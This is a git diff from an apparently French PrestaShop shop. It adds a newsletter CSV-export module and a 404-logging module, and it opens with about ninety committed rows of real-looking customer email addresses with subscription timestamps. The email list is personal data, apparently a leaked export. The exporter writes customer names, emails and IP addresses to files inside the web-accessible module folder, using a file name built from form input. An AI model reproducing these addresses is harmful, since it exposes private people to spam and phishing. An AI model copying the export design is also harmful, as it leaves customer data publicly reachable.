+4101;francoise.wintzenrieth@gmail.comj;2015-02-05 11:12:30; ; ;1 +4102;nicole.sion@sfr.fr;2015-02-05 11:17:01; ; ;1 +4103;ofillusion@googlemail.com;2015-02-05 11:37:14; ; ;1 +4104;maihodeitxo@gmail.com;2015-02-05 12:24:17; ; ;1 +4105;noabonny@gmail.com;2015-02-05 13:21:15; ; ;1 +4106;shando90210@aol.com;2015-02-05 13:25:47; ; ;1 +4107;rogermarie02200@gmail.com;2015-02-05 14:08:40; ; ;1 +4108;nathalie.borghini@laposte.net;2015-02-05 14:12:39; ; ;1 +4109;mamounette972@gmail.com;2015-02-05 14:23:28; ; ;1 +4110;kbits56@hotmail.fr;2015-02-05 15:09:28; ; ;1 +4111;lagleize_regine@orange.fr;2015-02-05 15:12:51; ; ;1 +4112;chabaninadia@yahoo.fr;2015-02-05 15:34:59; ; ;1 +4113;roselyne.fontaine59@laposte.net;2015-02-05 15:59:23; ; ;1 +4114;severine.bruni@yahoo.fr;2015-02-05 16:06:46; ; ;1 +4115;vigne.celine@live.fr;2015-02-05 16:12:57; ; ;1 +4116;soucicatrine@yahoo.fr;2015-02-05 17:41:42; ; ;1 +4117;armelle68@yahoo.fr;2015-02-05 17:57:51; ; ;1 +4118;sylvie.quenard@orange.fr;2015-02-05 20:15:06; ; ;1 +4119;magnoliabb@hotmail.fr;2015-02-05 21:00:17; ; ;1 +4120;mp.castel@orange.fr;2015-02-05 21:15:08; ; ;1 +4121;lmninacoiffure@gmail.com;2015-02-05 21:17:30; ; ;1 +4122;laetitia.uracz@bbox.fr;2015-02-05 21:17:49; ; ;1 +4123;fiffon@gmail.com;2015-02-05 21:29:33; ; ;1 +4124;ruescasmart@yahoo.fr;2015-02-05 23:10:01; ; ;1 +4125;marjorie.giraudot@orange.fr;2015-02-06 00:10:54; ; ;1 +4126;sandrinemolko62@gmail.com;2015-02-06 00:30:50; ; ;1 +4127;sophie.giordano@live.fr;2015-02-06 06:55:20; ; ;1 +4128;didelot.corinne@gmail.com;2015-02-06 07:04:47; ; ;1 +4129;toutouria@gmail.com;2015-02-06 08:11:19; ; ;1 +4130;schmitz_chrystel@yahoo.fr;2015-02-06 09:03:22; ; ;1 +4131;marrotfamily@aol.com;2015-02-06 10:16:19; ; ;1 +4132;karima.eude@gmail.com;2015-02-06 12:03:01; ; ;1 +4133;michelle.wlodarczyk@orange.fr;2015-02-06 12:03:29; ; ;1 +4134;patrice.rigaud1@orange.fr;2015-02-06 13:24:47; ; ;1 +4135;elora.banja@gmail.com;2015-02-06 14:40:12; ; ;1 +4136;nadine2valenti@gmail.com;2015-02-06 15:02:16; ; ;1 +4137;Jessicarevertec@hotmail.com;2015-02-06 15:11:19; ; ;1 +4138;wattecampssandrine@yahoo.fr;2015-02-06 15:15:16; ; ;1 +4139;djoudjou.2530@voila.fr;2015-02-06 16:11:22; ; ;1 +4140;hbellouati@aol.com;2015-02-06 17:12:16; ; ;1 +4141;assiameddah@live.fr;2015-02-06 17:56:32; ; ;1 +4142;sonia9783@hotmail.com;2015-02-06 18:35:51; ; ;1 +4143;anne.sauget@gmail.com;2015-02-06 22:08:41; ; ;1 +4144;anissaabdedaiem@hotmail.fr;2015-02-07 00:23:42; ; ;1 +4145;roselyne13010@yahoo.fr;2015-02-07 08:35:37; ; ;1 +4146;ispahan21@live.fr;2015-02-07 10:00:18; ; ;1 +4147;maryse.paluska@laposte.net;2015-02-07 14:37:17; ; ;1 +4148;prud.annie@hotmail.fr;2015-02-07 15:02:16; ; ;1 +4149;sandrine.joder@free.fr;2015-02-07 16:12:36; ; ;1 +4150;nadia_bugnon@yahoo.fr;2015-02-07 19:59:27; ; ;1 +4151;bodyguard.g@orange.fr;2015-02-07 22:58:21; ; ;1 +4152;olga.orlinski@numericable.fr;2015-02-07 23:40:33; ; ;1 +4153;kevinlecorre@outlook.com;2015-02-08 03:20:12; ; ;1 +4154;marie.ludo61@gmail.fr;2015-02-08 13:23:23; ; ;1 +4155;catherine.thiphagne@wanadoo.fr;2015-02-08 17:50:51; ; ;1 +4156;angeserot8@hotmail.fr;2015-02-08 19:55:39; ; ;1 +4157;romanalbane@yahoo.fr;2015-02-08 19:56:05; ; ;1 +4158;sevcharrier@hotmail.com;2015-02-08 19:56:19; ; ;1 +4159;kdelbee@hotmail.fr;2015-02-08 19:56:34; ; ;1 +4160;1328coco64@gmail.com;2015-02-09 08:36:25; ; ;1 +4161;guybernard@rocketmail.com;2015-02-09 11:07:29; ; ;1 +4162;badadette@gmail.com;2015-02-09 12:02:18; ; ;1 +4163;brunnoah@gmail.com;2015-02-09 12:08:33; ; ;1 +4164;jacques.quentrec@cegetel.net;2015-02-09 12:54:41; ; ;1 +4165;audrey.piers@hotmail.fr;2015-02-09 13:13:19; ; ;1 +4166;colson.pascale@neuf.fr;2015-02-09 13:58:21; ; ;1 +4167;mathvwgirl@gmail.com;2015-02-09 14:50:40; ; ;1 +4168;sderedec@gmail.com;2015-02-09 14:51:06; ; ;1 +4169;thomas@antadis.com;2015-02-09 15:18:31; ; ;1 +4170;louboutin@allibert.org;2015-02-09 16:10:36; ; ;1 +4171;pmasseron@orange.fr;2015-02-09 19:06:57; ; ;1 +4172;E.guerard@yahoo.fr;2015-02-09 20:12:34; ; ;1 +4173;pascalbal@aol.com;2015-02-09 20:18:21; ; ;1 +4174;boris.audant@gmail.com;2015-02-10 11:30:17; ; ;1 +4175;n.ls@wanadoo.fr;2015-02-10 11:32:26; ; ;1 +4176;tempesta74@gmail.com;2015-02-10 12:31:47; ; ;1 +4177;heliot21@yahoo.fr;2015-02-10 13:06:10; ; ;1 +4178;j.gilloury@voila.fr;2015-02-10 13:16:10; ; ;1 +4179;jo.pascalefernandes@gmail.com;2015-02-10 13:36:17; ; ;1 +4180;alain.chrystel@orange.fr;2015-02-10 15:58:49; ; ;1 +4181;aurorezs27@gmail.com;2015-02-10 19:10:48; ; ;1 +4182;victoirelefrancois@gmail.com;2015-02-11 09:27:44; ; ;1 +4183;tchadagirl@hotmail.fr;2015-02-11 14:57:25; ; ;1 +4184;darros.sophie@gmail.com;2015-02-11 18:28:42; ; ;1 +4185;roselyne.burty4@gmail.com;2015-02-11 19:28:36; ; ;1 +4186;delphineajgg.30960@gmail.com;2015-02-11 20:13:30; ; ;1 +4187;coralie.acopad@gmail.com;2015-02-12 02:13:22; ; ;1 +4188;Ansilic@hotmail.fr;2015-02-12 07:09:46; ; ;1 +4189;xela1603@yahoo.fr;2015-02-12 13:10:25; ; ;1 +4190;murat.64@hotmail.fr;2015-02-13 11:12:26; ; ;1 +4191;houdataghouti@yahoo.fr;2015-02-13 17:14:53; ; ;1 diff --git a/modules/newsletter/index.php b/modules/newsletter/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/newsletter/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/newsletter/logo.gif b/modules/newsletter/logo.gif new file mode 100755 index 0000000..06dd879 Binary files /dev/null and b/modules/newsletter/logo.gif differ diff --git a/modules/newsletter/logo.png b/modules/newsletter/logo.png new file mode 100755 index 0000000..4d3b030 Binary files /dev/null and b/modules/newsletter/logo.png differ diff --git a/modules/newsletter/newsletter.php b/modules/newsletter/newsletter.php new file mode 100755 index 0000000..035e6a0 --- /dev/null +++ b/modules/newsletter/newsletter.php @@ -0,0 +1,295 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class Newsletter extends Module +{ + private $_postErrors = array(); + private $_html = ''; + private $_postSucess; + + public function __construct() + { + $this->name = 'newsletter'; + $this->tab = 'administration'; + $this->version = 2.0; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Newsletter'); + $this->description = $this->l('Generates a .CSV file for mass mailings'); + + if ($this->id) + { + $this->_file = 'export_'.Configuration::get('PS_NEWSLETTER_RAND').'.csv'; + $this->_postValid = array(); + + // Getting data... + $_countries = Country::getCountries($this->context->language->id); + + // ...formatting array + $countries[0] = $this->l('All countries'); + foreach ($_countries as $country) + $countries[$country['id_country']] = $country['name']; + + // And filling fields to show ! + $this->_fieldsExport = array( + 'COUNTRY' => array( + 'title' => $this->l('Customers\' country'), + 'desc' => $this->l('Operate a filter on customers\' country.'), + 'type' => 'select', + 'value' => $countries, + 'value_default' => 0 + ), + 'SUSCRIBERS' => array( + 'title' => $this->l('Newsletter subscribers'), + 'desc' => $this->l('Filter newsletter subscribers.'), + 'type' => 'select', + 'value' => array(0 => $this->l('All customers'), 2 => $this->l('Subscribers'), 1 => $this->l('Non-subscribers')), + 'value_default' => 2 + ), + 'OPTIN' => array( + 'title' => $this->l('Opted-in subscribers'), + 'desc' => $this->l('Filter opted-in subscribers.'), + 'type' => 'select', + 'value' => array(0 => $this->l('All customers'), 2 => $this->l('Subscribers'), 1 => $this->l('Non-subscribers')), + 'value_default' => 0 + ), + ); + } + } + + public function install() + { + return (parent::install() AND Configuration::updateValue('PS_NEWSLETTER_RAND', rand().rand())); + } + + private function _postProcess() + { + if (isset($_POST['submitExport']) AND isset($_POST['action'])) + { + if ($_POST['action'] == 'full'){ + $result1 = $this->_nl_and_getCustomers(); + $result2 = $this->_getNLonly(); + $result=array(); + foreach($result1 as $tab) + $result[]=$tab; + foreach($result2 as $tab) + $result[]=$tab; + } + elseif($_POST['action'] == 'customers') + $result = $this->_getCustomers(); + else + { + if (!Module::isInstalled('blocknewsletter')) + $this->_html .= $this->displayError('The module "blocknewsletter" is required for this feature'); + else + $result = $this->_getBlockNewsletter(); + } + if (!$nb = (int)(Db::getInstance(_PS_USE_SQL_SLAVE_)->NumRows())) + $this->_html .= $this->displayError($this->l('No customers found with these filters!')); + elseif ($fd = @fopen(dirname(__FILE__).'/'.strval(preg_replace('#\.{2,}#', '.', $_POST['action'])).'_'.$this->_file, 'w')) + { + foreach ($result AS $tab) + $this->_my_fputcsv($fd, $tab); + fclose($fd); + $this->_html .= $this->displayConfirmation( + sprintf($this->l('Le fichier .CSV a bien été exporté (%d emails trouvés)'), $nb).'
        + '.$this->l('Download the file').' '.$this->_file.' +
        +
          +
        1. '.$this->l('WARNING: If opening this .csv file with Excel, remember to choose UTF-8 encoding or you may see strange characters.').'
        2. +
        '); + } + else + $this->_html .= $this->displayError($this->l('Error: cannot write').' '.dirname(__FILE__).'/'.strval($_POST['action']).'_'.$this->_file.' !'); + } + } + + private function _getCustomers() + { + $dbquery = new DbQuery(); + $dbquery->select('c.`id_customer`, c.`lastname`, c.`firstname`, c.`email`, c.`ip_registration_newsletter`, c.`newsletter_date_add`') + ->from('customer', 'c') + ->groupBy('c.`email`'); + + if (Tools::getValue('SUSCRIBERS')) + $dbquery->where('c.`newsletter` = '.((int)Tools::getValue('SUSCRIBERS') - 1)); + + if (Tools::getValue('OPTIN')) + $dbquery->where('c.`optin` = '.((int)Tools::getValue('OPTIN') - 1)); + + if (Tools::getValue('COUNTRY')) + $dbquery->where('(SELECT COUNT(a.`id_address`) as nb_country + FROM `'._DB_PREFIX_.'address` a + WHERE a.deleted = 0 + AND a.`id_customer` = c.`id_customer` + AND a.`id_country` = '.(int)Tools::getValue('COUNTRY').') >= 1'); + + + $rq = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($dbquery->build()); + + $header = array('id_customer', 'lastname', 'firstname', 'email', 'ip_address', 'newsletter_date_add'); + $result = (is_array($rq) ? array_merge(array($header), $rq) : $header); + return $result; + } + private function _nl_and_getCustomers() + { + $dbquery = new DbQuery(); + $dbquery->select('c.`id_customer`, c.`email`, c.`newsletter_date_add`, c.`lastname`, c.`firstname`, c.`id_lang`') + ->from('customer', 'c') + ->groupBy('c.`email`'); + $dbquery->where('c.`newsletter` = 1'); + + $rq = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($dbquery->build()); + + $header = array('id_customer','email', 'newsletter_date_add','lastname', 'firstname', 'id_lang' ); + $result = (is_array($rq) ? array_merge(array($header), $rq) : $header); + return $result; + + } + + private function _getNLonly(){ + + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT `id`, `email`, `newsletter_date_add`, " " as a, " " as b, `id_lang` + FROM `'._DB_PREFIX_.'newsletter` + WHERE `active` = 1'); + + // $header = array('id_customer', 'email', 'newsletter_date_add'); + // $result = (is_array($rq) ? array_merge(array($header), $rq) : $header); + return $result; + + } + private function _getBlockNewsletter(){ + $rq = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT `id`, `email`, `newsletter_date_add`, `ip_registration_newsletter` + FROM `'._DB_PREFIX_.'newsletter` + WHERE `active` = 1'); + + $header = array('id_customer', 'email', 'newsletter_date_add', 'ip_address', 'http_referer'); + $result = (is_array($rq) ? array_merge(array($header), $rq) : $header); + return $result; + } + + private function _my_fputcsv($fd, $array) + { + $line = implode(';', $array); + $line .= "\n"; + if (!fwrite($fd, $line, 4096)) + $this->_postErrors[] = $this->l('Error: cannot write').' '.dirname(__FILE__).'/'.$this->_file.' !'; + } + + private function _displayFormExport() + { + $this->_html .= ' +
        + '.$this->l('Ce module est divisé en 3 parties : ').' +

          +
        1. + '.$this->l('Persons who have subscribed using the BlockNewsletter block in the front office.').'
          + '.$this->l('This is a list of e-mail addresses of persons who come to your store that do not become customers, but have subscribed to your newsletter. Using the "Export Newsletter Subscribers" below will generate a .CSV file based on the BlockNewsletter subscribers data.').'

          '.' +
        2. +
        3. + '.$this->l('Customers that have checked "yes" to receive a newsletter in their customer profile.').'
          + '.$this->l('The "Export Customers" section below filters which customers you want to send a newsletter to.').' +
        4. +> +
        5. + '.$this->l('Export Gobal : Les clients qui se sont inscrits via le module Newsletter ET les clients qui ont coché "Oui" pour recevoir la newsletter.').' +
        6. +
        +

        +

        +
        '.$this->l('Export Newsletter Subscribers from the BlockNewsletter').' +
        + + '.$this->l('Generate a .CSV file based on BlockNewsletter subscribers data.').' '.$this->l('Only subscribers without an account on the shop will be exported.').'

        '; + $this->_html .= '
        +
        +

        +
        '.$this->l('Export customers').' +
        + + '.$this->l('Generate a .CSV file from customer account data.').'

        '; + foreach ($this->_fieldsExport as $key => $field) + { + $this->_html .= ' + +
        '; + switch ($field['type']) + { + case 'select': + $this->_html .= ''; + break; + default: + break; + } + if (isset($field['desc']) AND !empty($field['desc'])) + $this->_html .= '

        '.$field['desc'].'

        '; + $this->_html .= ' +
        '; + } + + // '.($_SERVER["REMOTE_ADDR"]!='91.180.213.106'?' style="display:none"':'').' + + $this->_html .= '
        +
        +
        + +
        '.$this->l('Export Global').' +
        + + '.$this->l('Générer un CSV à partir des données des inscrits au bloc newsletter ET à partir des comptes clients.').'

        +
        +

        + '; + } + + private function _displayForm() + { + $this->_displayFormExport(); + } + + public function getContent() + { + $this->_html .= '

        '.$this->displayName.'

        '; + + if (!empty($_POST)) + $this->_html .= $this->_postProcess(); + $this->_displayForm(); + + return $this->_html; + } +} + diff --git a/modules/newsletter/translations/en.php b/modules/newsletter/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/newsletter/translations/fr.php b/modules/newsletter/translations/fr.php new file mode 100755 index 0000000..b116df1 --- /dev/null +++ b/modules/newsletter/translations/fr.php @@ -0,0 +1,33 @@ +newsletter_ffb7e666a70151215b4c55c6268d7d72'] = 'Lettre d\'informations'; +$_MODULE['<{newsletter}prestashop>newsletter_804a924e464fd21ed92f820224c4091d'] = 'Génère un fichier .CSV pour votre envoi d\'e-mails'; +$_MODULE['<{newsletter}prestashop>newsletter_c3987e4cac14a8456515f0d200da04ee'] = 'Tous les pays'; +$_MODULE['<{newsletter}prestashop>newsletter_fa01fd956e87307bce4c90a0de9b0437'] = 'Pays du client'; +$_MODULE['<{newsletter}prestashop>newsletter_c0859b0a5241dff468da2a9a93c3284f'] = 'Opérer un filtre sur le pays des clients.'; +$_MODULE['<{newsletter}prestashop>newsletter_2198f293f5e1e95dddeff819fbca0975'] = 'Inscrits lettre d\'info.'; +$_MODULE['<{newsletter}prestashop>newsletter_99006a61d48499231e1be92241cf772a'] = 'Opérer un filtre sur les inscrits à la lettre d\'information.'; +$_MODULE['<{newsletter}prestashop>newsletter_7e3a51a56ddd2846e21c33f05e0aea6f'] = 'Tous les clients'; +$_MODULE['<{newsletter}prestashop>newsletter_39f7a3e2b56e9bfd753ba6325533a127'] = 'Inscrits'; +$_MODULE['<{newsletter}prestashop>newsletter_011d8c5d94f729f013963d856cd78745'] = 'Non-inscrits'; +$_MODULE['<{newsletter}prestashop>newsletter_793ee192a9124cd6f529460eef17d3e5'] = 'Inscrits pub'; +$_MODULE['<{newsletter}prestashop>newsletter_7b15c043d66fecc45c8752592aa38e38'] = 'Opérer un filtre sur les inscrits aux messages publicitaires.'; +$_MODULE['<{newsletter}prestashop>newsletter_82e5e0bc0f9c776c98253d569c111c0f'] = 'Aucun client trouvé avec ces paramètres'; +$_MODULE['<{newsletter}prestashop>newsletter_04e7c39a16e4d89fe9c3861af82ececa'] = 'Le fichier .CSV a bien été exporté. (%d clients trouvés)'; +$_MODULE['<{newsletter}prestashop>newsletter_48e3d5f66961b621c78f709afcd7d437'] = 'Télécharger le fichier'; +$_MODULE['<{newsletter}prestashop>newsletter_faa1115fbab933e7178ee43ce1590977'] = 'ATTENTION: Si vous tentez d\'ouvrir le fichier .csv avec Excel, n\'oubliez pas de sélectionner l\'UTF-8 comme encodage, sinon vous aurez des caractères incorrects'; +$_MODULE['<{newsletter}prestashop>newsletter_81573e0ea79138f02fd2cee94786d7e9'] = 'Erreur : impossible d\'écrire vers'; +$_MODULE['<{newsletter}prestashop>newsletter_8d550e9bf69bfc7a09be6eeb1622ae23'] = 'Ce module est divisé en 2 parties :'; +$_MODULE['<{newsletter}prestashop>newsletter_23e8f8a55548b88bfbdcd1f6ba26a010'] = 'Les personnes ayant indiqué leur adresse dans le bloc newsletter de la page d\'accueil'; +$_MODULE['<{newsletter}prestashop>newsletter_27d1ec406fd2baf49d03f81a4bb41122'] = 'La liste ne comprendra alors que les adresses e-mails.'; +$_MODULE['<{newsletter}prestashop>newsletter_74ca54506cdbc82e3aa763ba91b8fa39'] = 'Les clients ayant coché la case \"oui\" pour l\'inscription à la liste de newsletter.'; +$_MODULE['<{newsletter}prestashop>newsletter_1aa14f5a6423dbde1ef2cfe4734980b4'] = 'La section \"Exporter des clients\" ci-dessous permet de filtrer les clients à qui vous souhaitez envoyer votre newsletter.'; +$_MODULE['<{newsletter}prestashop>newsletter_7f5c4d54d8602ab7234a715a2a10b98e'] = 'Exporter les inscrits à la newsletter depuis le bloc Newsletter'; +$_MODULE['<{newsletter}prestashop>newsletter_a60401e616125189d78605b2ddd7ff45'] = 'Génère un fichier .CSV à partir des données des inscrits au BlockNewsletter.'; +$_MODULE['<{newsletter}prestashop>newsletter_769050278dda5e93374adda37811e413'] = 'Seuls les abonnés sans compte client sur la boutique seront exportés.'; +$_MODULE['<{newsletter}prestashop>newsletter_dbb392a2dc9b38722e69f6032faea73e'] = 'Exporte un fichier CSV'; +$_MODULE['<{newsletter}prestashop>newsletter_4713ef5f2d6fc1e8f088c850e696a04b'] = 'Export des clients'; +$_MODULE['<{newsletter}prestashop>newsletter_2a96d838a5e89b86792669f0ab422987'] = 'Génère un fichier .CSV à partir des données des comptes utilisateurs.'; diff --git a/modules/newsletter/translations/index.php b/modules/newsletter/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/newsletter/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/pagesnotfound/comment.gif b/modules/pagesnotfound/comment.gif new file mode 100755 index 0000000..7bc9233 Binary files /dev/null and b/modules/pagesnotfound/comment.gif differ diff --git a/modules/pagesnotfound/index.php b/modules/pagesnotfound/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/pagesnotfound/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/pagesnotfound/logo.gif b/modules/pagesnotfound/logo.gif new file mode 100755 index 0000000..c3cbb5d Binary files /dev/null and b/modules/pagesnotfound/logo.gif differ diff --git a/modules/pagesnotfound/logo.png b/modules/pagesnotfound/logo.png new file mode 100755 index 0000000..14776e2 Binary files /dev/null and b/modules/pagesnotfound/logo.png differ diff --git a/modules/pagesnotfound/pagesnotfound.php b/modules/pagesnotfound/pagesnotfound.php new file mode 100755 index 0000000..b31561b --- /dev/null +++ b/modules/pagesnotfound/pagesnotfound.php @@ -0,0 +1,190 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class Pagesnotfound extends Module +{ + private $_html = ''; + + public function __construct() + { + $this->name = 'pagesnotfound'; + $this->tab = 'analytics_stats'; + $this->version = 1.1; + $this->author = 'PrestaShop'; + $this->need_instance = 0; + + parent::__construct(); + + $this->displayName = $this->l('Pages not found'); + $this->description = $this->l('Display the pages requested by your visitors that have not been found.'); + } + + public function install() + { + if (!parent::install() || !$this->registerHook('top') || !$this->registerHook('AdminStatsModules')) + return false; + return Db::getInstance()->execute(' + CREATE TABLE `'._DB_PREFIX_.'pagenotfound` ( + id_pagenotfound INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, + id_shop INTEGER UNSIGNED NOT NULL DEFAULT \'1\', + id_shop_group INTEGER UNSIGNED NOT NULL DEFAULT \'1\', + request_uri VARCHAR(256) NOT NULL, + http_referer VARCHAR(256) NOT NULL, + date_add DATETIME NOT NULL, + PRIMARY KEY(id_pagenotfound), + INDEX (`date_add`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=utf8;'); + } + + public function uninstall() + { + return (parent::uninstall() && Db::getInstance()->execute('DROP TABLE `'._DB_PREFIX_.'pagenotfound`')); + } + + private function getPages() + { + $sql = 'SELECT http_referer, request_uri, COUNT(*) as nb + FROM `'._DB_PREFIX_.'pagenotfound` + WHERE date_add BETWEEN '.ModuleGraph::getDateBetween() + .Shop::addSqlRestriction(). + 'GROUP BY http_referer, request_uri'; + $result = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + + $pages = array(); + foreach ($result as $row) + { + $row['http_referer'] = parse_url($row['http_referer'], PHP_URL_HOST).parse_url($row['http_referer'], PHP_URL_PATH); + if (!isset($row['http_referer']) || empty($row['http_referer'])) + $row['http_referer'] = '--'; + if (!isset($pages[$row['request_uri']])) + $pages[$row['request_uri']] = array('nb' => 0); + $pages[$row['request_uri']][$row['http_referer']] = $row['nb']; + $pages[$row['request_uri']]['nb'] += $row['nb']; + } + uasort($pages, 'pnfSort'); + return $pages; + } + + public function hookAdminStatsModules() + { + if (Tools::isSubmit('submitTruncatePNF')) + { + Db::getInstance()->execute('TRUNCATE `'._DB_PREFIX_.'pagenotfound`'); + $this->_html .= '
        '.$this->l('The pages not found cache has been emptied.').'
        '; + } + else if (Tools::isSubmit('submitDeletePNF')) + { + Db::getInstance()->execute(' + DELETE FROM `'._DB_PREFIX_.'pagenotfound` + WHERE date_add BETWEEN '.ModuleGraph::getDateBetween()); + $this->_html .= '
        '.$this->l('Pages not found have been deleted.').'
        '; + } + + $this->_html .= '

        '.$this->displayName.'

        '; + if (!file_exists(dirname(__FILE__).'/../../.htaccess')) + $this->_html .= '
        '.$this->l('You must use a .htaccess file to redirect 404 errors to the page "404.php"').'
        '; + + $pages = $this->getPages(); + if (count($pages)) + { + $this->_html .= ' + + + + + + '; + foreach ($pages as $ru => $hrs) + foreach ($hrs as $hr => $counter) + if ($hr != 'nb') + $this->_html .= ' + + + + + '; + $this->_html .= ' +
        '.$this->l('Page').''.$this->l('Referrer').''.$this->l('Counter').'
        '.wordwrap($ru, 30, '
        ', true).'
        '.wordwrap($hr, 40, '
        ', true).'
        '.$counter.'
        '; + } + else + $this->_html .= '
        '.$this->l('No pages registered').'
        '; + + $this->_html .= '
        '; + if (count($pages)) + $this->_html .= '
         
        +

        '.$this->l('Empty database').'

        + + + + +
        '; + $this->_html .= '
        +

        '.$this->l('Guide').'

        +

        '.$this->l('404 errors').'

        +

        '.$this->l('A 404 error is an HTTP error code which means that the file requested by the user cannot be found. + In your case it means that one of your visitors entered a wrong URL in the address bar or that you or another website has a dead link. + When it is available, the referrer is shown so you can find the page which contains the dead link. + If not, it means generally that it is a direct access, so someone may have bookmarked a link which doesn\'t exist anymore.').'

        +

        '.$this->l('How to catch these errors?').'

        +

        '.$this->l('If your webhost supports .htaccess files, you can create one in the root directory of PrestaShop and insert the following line inside:').' + ErrorDocument 404 '.__PS_BASE_URI__.'404.php. '. + $this->l('A user requesting a page which doesn\'t exist will be redirected to the following page.').' '.__PS_BASE_URI__.'404.php. '. + $this->l('This module logs access to this page.').'


        +
        '; + + return $this->_html; + } + + public function hookTop($params) + { + if (strstr($_SERVER['REQUEST_URI'], '404.php') && isset($_SERVER['REDIRECT_URL'])) + $_SERVER['REQUEST_URI'] = $_SERVER['REDIRECT_URL']; + if (!Validate::isUrl($request_uri = $_SERVER['REQUEST_URI']) || strstr($_SERVER['REQUEST_URI'], '-admin404')) + return; + + if (get_class(Context::getContext()->controller) == 'PageNotFoundController') + { + $http_referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : ''; + if (empty($http_referer) || Validate::isAbsoluteUrl($http_referer)) + { + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'pagenotfound` (`request_uri`, `http_referer`, `date_add`, `id_shop`, `id_shop_group`) + VALUES (\''.pSQL($request_uri).'\', \''.pSQL($http_referer).'\', NOW(), '.(int)$this->context->shop->id.', '.(int)$this->context->shop->id_shop_group.') + '); + } + } + } +} + +function pnfSort($a, $b) +{ + if ($a['nb'] == $b['nb']) + return 0; + return ($a['nb'] > $b['nb']) ? -1 : 1; +} \ No newline at end of file diff --git a/modules/pagesnotfound/translations/en.php b/modules/pagesnotfound/translations/en.php new file mode 100755 index 0000000..e69de29 diff --git a/modules/pagesnotfound/translations/fr.php b/modules/pagesnotfound/translations/fr.php new file mode 100755 index 0000000..4a34c19 --- /dev/null +++ b/modules/pagesnotfound/translations/fr.php @@ -0,0 +1,23 @@ +pagesnotfound_251295238bdf7693252f2804c8d3707e'] = 'Pages introuvables'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_220b13b2c5c94e16c5895e3925270617'] = 'Affiche les pages demandées mais qui n\'existent pas'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_da4c19289501755f54f1a9223d0271cc'] = 'Les pages introuvables vidées.'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_23dbe39a97cb7e4e528f25f5795d317f'] = 'Pages non trouvées ont été supprimés.'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_6b4cd0cb089425011df02c8e86a1b832'] = 'Vous devez utiliser un fichier .htaccess redirigeant les erreurs 404 vers la page \"404.php\"'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_193cfc9be3b995831c6af2fea6650e60'] = 'Page'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_b6f05e5ddde1ec63d992d61144452dfa'] = 'Origine'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_64d129224a5377b63e9727479ec987d9'] = 'Compteur'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_d372ffc9065cb7d2ea24df137927d060'] = 'Aucune page enregistrée'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_d8847bc418fc4f5a3e37c2e8390bb9ed'] = 'Suppression'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_4613b06701504f4a6664effb977b3e32'] = 'Supprimer toutes les pages introuvables sur cette période'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_254b5e94768b90388cc7002d362351f0'] = 'Supprimer toutes les pages introuvables'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_6602bbeb2956c035fb4cb5e844a4861b'] = 'Guide'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_3604249130acf7fda296e16edc996e5b'] = 'Erreurs 404'; +$_MODULE['<{pagesnotfound}prestashop>pagesnotfound_a90083861c168ef985bf70763980aa60'] = 'Comment attraper ces erreurs 